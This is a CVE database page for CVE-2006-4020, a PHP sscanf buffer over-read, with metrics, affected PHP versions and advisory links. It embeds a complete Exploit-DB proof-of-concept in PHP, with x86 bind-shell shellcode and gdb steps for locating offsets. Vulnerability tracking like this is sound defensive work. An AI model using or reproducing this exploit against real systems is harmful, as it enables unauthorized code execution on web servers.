CVE-2006-4020 : Detail

CVE-2006-4020

3.88%V4
Local
2006-08-08
18h00 +00:00
2017-10-09
22h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

scanf.c in PHP 5.1.4 and earlier, and 4.4.3 and earlier, allows context-dependent attackers to execute arbitrary code via a sscanf PHP function call that performs argument swapping, which increments an index past the end of an array and triggers a buffer over-read.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 2193

Publication date : 2006-08-15 22h00 +00:00
Author : Andi
EDB Verified : Yes

<? /*********************************************************** * hoagie_php_sscanf.php * PHP <= 4.4.3 / 5.1.4 local buffer overflow exploit * * howto get offsets: * (set $base_addr to 0x41414141) * # ulimit -c 20000 * # /etc/init.d/apache restart * (execute script via web browser) * # tail /var/log/apache/error.log * ... * [Wed Aug 16 15:07:10 2006] [notice] child pid 28222 exit signal Segmentation fault (11), possible coredump in /tmp * ... * $ gdb /usr/sbin/apache /tmp/core * ... * ... * #0 0x40422b2d in php_sscanf_internal () from /usr/lib/apache/1.3/libphp4.so * (gdb) x/250 $edx * ... * 0x83ae16c: 0x41414141 0x41414141 0x41414141 0x41414141 * 0x83ae17c: 0xdeadbabe 0x41414145 0x4141415d 0x00000001 * ^^^^^^^^^^ * start of our buffer (0x83ae180) = $base_addr * 0x83ae18c: 0x00000008 0x4141415d 0x0833d248 0x00000400 * 0x83ae19c: 0x909006eb 0x90909090 0xe3f7db31 0x435366b0 * ^^^^^^^^^^ * start of shell code (0x83ae1a4) * 0x83ae1ac: 0x89534353 0x80cd4be1 0x6652c789 0x43204e68 * 0x83ae1bc: 0xe1895366 0xd0f6efb0 0x89575150 0xcd66b0e1 * 0x83ae1cc: 0x4366b080 0x5080cd43 0xe1895750 0xcd66b043 * 0x83ae1dc: 0x89d98980 0x2c6fb0c3 0x80cd4930 0x51f6e241 * 0x83ae1ec: 0x732f6e68 0x2f2f6868 0xe3896962 0xe1895351 * 0x83ae1fc: 0xd0f6f4b0 0x414180cd 0x41414141 0x41414141 * 0x83ae20c: 0x41414141 0x41414141 0x41414141 0x41414141 * ... * (gdb) quit * # * (change $base_addr in exploit and now call url again) * # gdb /usr/sbin/apache /tmp/core * #0 0x40475e73 in _efree () * from /usr/lib/apache/1.3/libphp4.so * (gdb) x/4w $ebp * 0xbfffb018: 0xbfffb038 0x40484241 0x0812a2f4 0xbfffb038 * ^^^^^^^^^^ * return address (return address location = 0xbfffb01c) * (change $rec_log in exploit and call url again) * $ telnet 127.0.0.1 20000 * Trying 127.0.0.1... * Connected to localhost. * Escape character is '^]'. * id; * uid=33(www-data) gid=33(www-data) groups=33(www-data) * exit; * Connection closed by foreign host. * $ * * NOTE: Because of PHP memory allocation this exploit depends on filename, pathname * content etc... (because each line/byte will change emalloc() behavior * * Credits: Heintz (discovered this bug) * BigHawk (bind shell code) * Greuff (void.at) * * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF- * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY * DAMAGE DONE USING THIS PROGRAM. * * VOID.AT Security * andi@void.at * http://www.void.at * ************************************************************/ /* base_addr for buffer in memory */ $base_addr = 0x812a260; $base_addr_fill = 0x16; /* byte 0 = fill up, byte 1 = refcount, byte 2 = is_ref, byte 3 = type */ $zval_attr = 0x00000008; /* will be overwritten to execute our shellcode */ $ret_loc = 0xbfffb01c; /* just for searching */ $pattern = 0xdeadbabe; function long2str($addr) { return pack("V", $addr); } $data = /* fill up memory */ str_repeat(long2str($base_addr), $base_addr_fill) . /* pattern */ long2str($pattern) . /* current = base_addr */ long2str($base_addr + 0x4) . /* *current = _zval_struct */ /* _zval_struct */ /* _zvalue_value */ /* _zvalue_value.str.val */ long2str($base_addr + 0x10 + 0xc) . /* _zvalue_value_str.len */ long2str(0x00000001) . /* _zval_struct.type, _zval_struct.is_ref, _zval_struct.refcount */ long2str($zval_attr) . /* _zend_mem_header */ /* _zend_mem_header.pNext = start of shellcode */ long2str($base_addr + 28) . /* _zend_mem_header.pLast */ long2str($ret_loc) . /* zend_mem_header.size, zend_mem_header.cached */ long2str(0x000000400) . /* jump over next six bytes */ "\xeb\x06\x90\x90" . /* this bytes will be overwritten by efree() */ "\x90\x90\x90\x90" . /* shell code starts here - * BigHawk bind() version - just a little update to get rid * of 0x3f */ "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd" . "\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef" . "\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43" . "\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89" . "\xc3\xb0\x6f\x2c\x30\x49\xcd\x80\x41\xe2\xf6\x51\x68\x6e\x2f" . "\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4" . "\xf6\xd0\xcd\x80" . /* fill up memory */ str_repeat(long2str($base_addr), $base_addr_fill); /* fill up memory with emalloc() for sscanf() */ quotemeta($data); /* trigger exploit */ sscanf($data, '%1$s', $str); ?> # milw0rm.com [2006-08-16]

Products Mentioned

Configuraton 0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0.0

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.2

Php>>Php >> Version 4.0.3

Php>>Php >> Version 4.0.3

Php>>Php >> Version 4.0.4

Php>>Php >> Version 4.0.4

    Php>>Php >> Version 4.0.5

    Php>>Php >> Version 4.0.6

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.1.0

    Php>>Php >> Version 4.1.1

    Php>>Php >> Version 4.1.2

    Php>>Php >> Version 4.2

      Php>>Php >> Version 4.2.0

      Php>>Php >> Version 4.2.1

      Php>>Php >> Version 4.2.2

      Php>>Php >> Version 4.2.3

      Php>>Php >> Version 4.3.0

      Php>>Php >> Version 4.3.1

      Php>>Php >> Version 4.3.2

      Php>>Php >> Version 4.3.3

      Php>>Php >> Version 4.3.4

      Php>>Php >> Version 4.3.5

      Php>>Php >> Version 4.3.6

      Php>>Php >> Version 4.3.7

      Php>>Php >> Version 4.3.8

      Php>>Php >> Version 4.3.9

      Php>>Php >> Version 4.3.10

      Php>>Php >> Version 4.3.11

      Php>>Php >> Version 4.4.0

      Php>>Php >> Version 4.4.1

      Php>>Php >> Version 4.4.2

      Php>>Php >> Version 4.4.3

      Php>>Php >> Version 5.0

        Php>>Php >> Version 5.0

          Php>>Php >> Version 5.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.1

            Php>>Php >> Version 5.0.2

            Php>>Php >> Version 5.0.3

            Php>>Php >> Version 5.0.4

            Php>>Php >> Version 5.0.5

            Php>>Php >> Version 5.1.0

            Php>>Php >> Version 5.1.1

            Php>>Php >> Version 5.1.2

            Php>>Php >> Version 5.1.4

            References

            http://securitytracker.com/id?1016984
            Tags : vdb-entry, x_refsource_SECTRACK
            http://www.php.net/release_5_1_5.php
            Tags : x_refsource_CONFIRM
            http://www.securityfocus.com/bid/19415
            Tags : vdb-entry, x_refsource_BID
            http://secunia.com/advisories/21768
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/21403
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.redhat.com/support/errata/RHSA-2006-0669.html
            Tags : vendor-advisory, x_refsource_REDHAT
            http://www.mandriva.com/security/advisories?name=MDKSA-2006:144
            Tags : vendor-advisory, x_refsource_MANDRIVA
            http://secunia.com/advisories/21847
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/22487
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.ubuntu.com/usn/usn-342-1
            Tags : vendor-advisory, x_refsource_UBUNTU
            http://secunia.com/advisories/22039
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://rhn.redhat.com/errata/RHSA-2006-0688.html
            Tags : vendor-advisory, x_refsource_REDHAT
            http://bugs.php.net/bug.php?id=38322
            Tags : x_refsource_CONFIRM
            http://secunia.com/advisories/21683
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/23247
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/21467
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/22004
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/22538
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.redhat.com/support/errata/RHSA-2006-0682.html
            Tags : vendor-advisory, x_refsource_REDHAT
            http://secunia.com/advisories/21546
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/21608
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/22440
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/22069
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.securityfocus.com/archive/1/442438/30/0/threaded
            Tags : mailing-list, x_refsource_BUGTRAQ
            http://www.vupen.com/english/advisories/2006/3193
            Tags : vdb-entry, x_refsource_VUPEN
            http://security.gentoo.org/glsa/glsa-200608-28.xml
            Tags : vendor-advisory, x_refsource_GENTOO
            http://securityreason.com/securityalert/1341
            Tags : third-party-advisory, x_refsource_SREASON
            http://rhn.redhat.com/errata/RHSA-2006-0736.html
            Tags : vendor-advisory, x_refsource_REDHAT
            The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.